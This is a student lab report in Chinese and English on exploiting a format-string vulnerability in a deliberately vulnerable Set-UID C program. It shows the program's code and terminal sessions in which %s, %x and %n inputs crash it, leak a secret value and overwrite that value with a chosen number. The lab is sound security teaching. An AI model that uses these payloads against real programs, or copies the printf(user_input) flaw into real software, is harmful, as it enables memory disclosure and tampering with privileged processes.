LAB 2.4

王伟杰

Contents

Format String Vulnerability

1 Overview

The learning objective of this lab is for students to gain the first-hand experience on format-string vulnerability by putting what they have learned about the vulnerability from class into actions. The format-string vulnerability is caused by code like printf(user input), where the contents of variable of user input is provided by users. When this program is running with privileges (e.g., Set-UID program), this printf statement becomes dangerous, because it can lead to one of the following consequences: (1) crash the program, (2) read from an arbitrary memory place, and (3) modify the values of in an arbitrary memory place. The last consequence is very dangerous because it can allow users to modify internal variables of a privileged program, and thus change the behavior of the program.

In this lab, you will be given a program with a format-string vulnerability; your task is to develop a scheme to exploit the vulnerability. It uses Ubuntu VM created in Lab 2.1. Ubuntu 12.04 is recommended.

In the following program, you will be asked to provide an input, which will be saved in a buffer called user input. The program then prints out the buffer using printf. The program is a Set-UID program (the owner is root), i.e., it runs with the root privilege. Unfortunately, there is a format-string vulnerability in the way how the printf is called on the user inputs. We want to exploit this vulnerability and see how much damage we can achieve.

```c
/* vul_prog.c */

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
```

```
30    printf(user_input);
31    printf("\n");
32
33    /* Verify whether your attack is successful */
34    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
35    printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
36    return 0;
37  }
```

The program has two secret values stored in its memory, and you are interested in these secret values. However, the secret values are unknown to you, nor can you find them from reading the binary code (for the sake of simplicity, we hardcode the secrets using constants 0x44 and 0x55). Although you do not know the secret values, in practice, it is not so difficult to find out the memory address (the range or the exact value) of them (they are in consecutive addresses), because for many operating systems, the addresses are exactly the same anytime you run the program. In this lab, we just assume that you have already known the exact addresses. To achieve this, the program "intentionally" prints out the addresses for you. With such knowledge, your goal is to achieve the followings (not necessarily at the same time):

- Crash the program named "vul_prog.c".
- Print out the secret[1] value.
- Modify the secret[1] value.
- Modify the secret[1] value to a pre-determined value.

2 Steps

2.1 编译代码

安装要求写好代码进行编译

```
#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
"vul_prog.c" 36 lines, 1105 characters
```

```
lhmd@ubuntu:~/Documents$ vi vul_prog.c
lhmd@ubuntu:~/Documents$ gcc -o vul_prog vul_prog.c
vul_prog.c: In function ‘main’:
vul_prog.c:12:20: warning: incompatible implicit declaration of built-in functio
n ‘malloc’ [enabled by default]
vul_prog.c:17:3: warning: incompatible implicit declaration of built-in function
 ‘printf’ [enabled by default]
vul_prog.c:17:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int **’ [-Wformat]
vul_prog.c:18:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat]
vul_prog.c:19:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat]
vul_prog.c:20:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat]
vul_prog.c:23:3: warning: incompatible implicit declaration of built-in function
 ‘scanf’ [enabled by default]
vul_prog.c:28:3: warning: format not a string literal and no format arguments [-
Wformat-security]
```

编译时出现一些warning，先不管这些。

程序通过malloc函数生成 secret[0] 和 secret[1] ，被存放在堆中。用户需要输入的数字和字符串，以及指向secret的指针被存放在栈中，printf函数在处理的时候需要先将参数从右到左压入堆栈，然后遍历格式化的字符串，每次碰到%的格式化输出就需要从栈中弹出一个元素来与之对应，如果用户输入的带%的格式化输出参数的个数大于世纪传入的参数，就会出现内存泄漏的问题，利用这个原理，我们可以完成下面的任务。

2.2 Crash the program named "vul_prog.c"

输入足够多的`%s`使得程序不断进行栈的pop操作，让程序崩溃

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
```

2.3 Print out the secret[1] value

随便输入一个数，如15，通过%x不断进行pop操作，观察这个数的位置，这里发现我输入的15被放在了第九个。

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
15
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
bffff328,0,0,0,0,0,bffff434,804b008,f,252c7825,78252c78,2c78252c,252c7825,78252c
78,2c78252c,252c7825,78252c78
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

再次运行程序，将入secret[1]的地址作为数字输入，，弹出前八个字符串，通过%s来读取int_input指向的secret[1]的值，得到答案是`U`

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,__next_is_answer__,%s
bffff328,0,0,0,0,0,bffff434,804b008,__next_is_answer__,U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

2.4 Modify the secret[1] value

使用%n可以将已经输入的字符的个数赋值给传入的参数，这里我们先pop前八个字符串，然后使用%n将输入的字符个数写入的secret[1]的地址中

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,__next_is_modify__,%n
bffff328,0,0,0,0,0,bffff434,804b008,__next_is_modify__,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x37
```

2.5 Modify the secret[1] value to a pre-determined value

通过观察上一个问题的输出发现，前面输出总共有0x37个，如果我们希望更改这个值，只需要控制输入字符串中的内容即可。

例如，我们在上面的基础上加入`,123`四个字符，则值会被更改为0x3b，比上面的0x37多四个数。

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,123,__next_is_modify__,%n
bffff328,0,0,0,0,0,bffff434,804b008,123,__next_is_modify__,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x3b
lhmd@ubuntu:~/Documents$
```

假设我们想更进一步定义一个大数字，比如666(0x29a)

现在我们知道前面的字符串总长度是55，则还差$666-55=611$个空位，我们可以使用%0[length]x的方式对最后一个%x进行修改进行占位。

首先我们不考虑最后一位本身的长度，输入`%x,%x,%x,%x,%x,%x,%x,%0611x,__next_is_modify__,%n`

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%0611x,__next_is_modify__,%n
bffff328,0,0,0,0,0,bffff434,00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000804b008,
__next_is_modify__,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x293
```

发现与预期的值差7位，说明最后一个%x的长度为7，则我们在上面的基础上加7，输入`%x,%x,%x,%x,%x,%x,%x,%0618x,__next_is_modify__,%n`

```
lhmd@ubuntu:~/Documents$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%0618x,__next_is_modify__,%n
bffff328,0,0,0,0,0,bffff434,00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000804b008
04b008,__next_is_modify__,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x29a
```

这样就得到了666(0x29a)。